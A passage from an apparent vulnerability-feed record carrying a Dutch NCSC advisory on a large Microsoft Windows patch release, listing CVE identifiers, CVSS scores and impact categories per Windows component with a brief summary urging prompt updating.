|\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:46.227981Z"}, {"uuid": "e9588ed9-59e7-43ce-86a2-3089aa7e9d0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54111", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | 